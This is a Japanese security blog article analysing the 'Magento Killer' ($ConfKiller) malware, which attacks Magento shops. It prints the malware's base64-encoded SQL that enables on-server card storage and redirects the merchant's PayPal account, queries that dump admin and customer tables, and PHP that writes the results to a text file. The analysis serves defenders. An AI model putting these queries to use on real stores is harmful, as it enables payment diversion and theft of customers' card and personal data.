「Magento Killer」とは?Magentoサイトを狙うマルウェアの仕組みと対策
近年、「Magento Killer」と呼ばれる新たな悪意あるスクリプトが、Magentoで構築されたECサイトを標的にしています。このスクリプト「$ConfKiller」は、ウェブサイトの中核となる設定ファイル(configファイル)を攻撃対象とします。さらに、$ConfKillerが正常に実行されると、攻撃を受けたMagentoデータベースのcore_config_dataテーブルが改ざんされる恐れがあります。
このマルウェアはMagento環境全体を破壊するわけではありませんが、それでもサイトに深刻な被害をもたらします。Magento Killerは重大な情報漏洩を引き起こし、クレジットカード情報、個人を特定できる情報(PII)、メールアドレス、請求先住所などのデータが盗み出されます。
$ConfKillerの攻撃手法(Modus Operandi)
ハッカーは一連の手順に従ってデータを窃取します。以下では、Magento Killerスクリプトの攻撃手法をできる限りわかりやすく解説します。
ステップ1:加盟店のPayPalアカウントを差し替える
まず、攻撃者はbase64でエンコードされた特殊なSQLクエリを注入します。注入されるクエリは以下のようなものです。
$ConfKiller = array(
'Update DB (Savecc)' =>
base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQNCmBzY29wZWAgPSAnZGVmYXVsdCcsDQpgc2NvcGVfaWRgID0gJzAnLA0KYHBhdGhgID0gJ3BheW1lbnQvY2NzYXZlL2FjdGl2ZScsDQpgdmFsdWVgID0gJzEnDQpXSEVSRSBgcGF0aGAgPSAncGF5bWVudC9jY3NhdmUvYWN0aXZlJzs='),
//UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'payment/ccsave/active', `value` = '1' WHERE `path` = 'payment/ccsave/active';
'Update PP (MailPP)' =>
base64_decode('VVBEQVRFIGBjb3JlX2NvbmZpZ19kYXRhYCBTRVQKYHNjb3BlYCA9ICdkZWZhdWx0JywKYHNjb3BlX2lkYCA9ICcwJywKYHBhdGhgID0gJ3BheXBhbC9nZW5lcmFsL2J1c2luZXNzX2FjY291bnQnLApgdmFsdWVgID0gJ1tyZWRhY3RlZF1AZ21haWwuY29tJwpXSEVSRSBgcGF0aGAgPSAncGF5cGFsL2dlbmVyYWwvYnVzaW5lc3NfYWNjb3VudCc7')
//UPDATE `core_config_data` SET `scope` = 'default', `scope_id` = '0', `path` = 'paypal/general/business_account', `value` = '[redacted]@gmail.com' WHERE `path` = 'paypal/general/business_account';このコードを分解すると、2つのリクエストが実行されていることがわかります。
- Update DB(Savecc): このリクエストにより、Magentoサイトは顧客のクレジットカード情報を決済プロセッサ(Authorize.netなど)へ送信する代わりに、サーバー上に保存するよう設定変更されてしまいます。
- Update PP(MailPP): このリクエストにより、標的となったMagentoサイト上の加盟店のPayPalアカウントが、ハッカーが指定した別のアカウントへと置き換えられます。
通常、Magentoはサーバー内に保存したクレジットカード情報を暗号化して管理していますが、このケースでは暗号化だけでは十分な防御になりません。
というのも、攻撃者はすでにウェブサイトのファイルシステムへのアクセス権を握っているため、Magentoの./app/etc/local.xmlファイルから暗号化キーを盗み出せるのです。この鍵を使えば、クレジットカード情報を平文など判読可能な形式へ復号化できてしまいます。

ステップ2:顧客の追加情報を窃取する
クレジットカード情報だけを盗んでも、補完的なデータがなければ悪用は困難です。そこでハッカーは次に、氏名、メールアドレス、請求先住所、電話番号といった追加の顧客データを手に入れようとします。
以下のコード行をクエリとして送信することで、データベースの内容を攻撃者側に表示させます。
$query = array( 'admin_user' => 'SELECT * FROM admin_user' , 'aw_blog_comment' => 'SELECT * FROM aw_blog_comment' , 'core_email_queue_recipients' => 'SELECT * FROM core_email_queue_recipients' , 'customer_entity' => 'SELECT * FROM customer_entity' ,
ステップ3:テキストファイルとしてデータを取得する
最後に、攻撃者は選び抜いた重要データをテキストファイルへ転送します。ここでは*-shcMail.txtがそのテキストファイルにあたります。以下は、Magento Killerによる攻撃を成功させるためのコードです。
$namefile = md5(time())."-shcMail.txt";
foreach ($query as $shc_key => $shc_query) {
$hasil = mysql_query($shc_query);
while ( $kolom_db = mysql_fetch_assoc($hasil) ) {
$mail[] = $kolom_db[$shcolom[$shc_key]];
$myfile = fopen($namefile, "a+") or die("Unable to open file!");
fwrite($myfile, $kolom_db[$shcolom[$shc_key]]."rn");
fclose($myfile);このスクリプトは*-shcMail.txtファイルへのリンクを生成します。そして最後に、冒頭の2つの設定変更が成功したかどうかを攻撃者へ通知する結果を出力します。
まとめ
自社のウェブサイトがこのマルウェアに感染していることが判明した場合は、Magentoサイトからマルウェアを除去するための専用ガイドに従って速やかに対処してください。
また、長い記事を読む手間を省きたい場合は、即時マルウェア駆除サービスの利用をご検討ください。まだ感染していないサイトであれば、Magentoセキュリティチェックリストを活用して、事前にサイトの安全を確保しておくことをおすすめします。
-
コンピュータ ウイルスとその仕組み
コンピュータウイルスとは? コンピュータ ウイルスは、他のプログラムに付着し、自己複製し、あるコンピュータから別のコンピュータに拡散するマルウェアの一種です。ウイルスがコンピュータに感染すると、自身のコピーを作成し、他のファイルやドキュメントに添付されます。その後、それらのファイルを変更し、拡散を続けます。 ウイルスはコンピュータに密かに感染し、多くの場合、個人のファイルを破壊したり、デバイスを制御したりするように設計されています。コンピュータ ウイルスは自分自身のコピーを作成し、生物学的なウイルスが人から人へと感染するように、デバイスやネットワーク全体に広がります。また、生物学的バージョ
-
ディスクデフラグ(最適化)とは?その仕組みと実行方法を徹底解説
Windowsの初心者にとって、ディスクのデフラグメンテーション(断片化の解消)は少し難しく感じられるかもしれません。しかし、ディスク最適化において最も重要な作業の一つです。本当に効果があるのかどうか疑問に思い、試すのをためらうユーザーも少なくありません。デフラグを実行する前に、いくつか注意すべき点があります。まず、デフラグ処理中にパソコンの電源を切らないこと。また、停電の可能性がある環境では、無停電電源装置(UPS)などを活用し、中断のない安定した電力供給を確保しておきましょう。それではまず、デフラグメンテーションとは何か、どのような仕組みで動作するのかを見ていきましょう。ディスクデフラグメ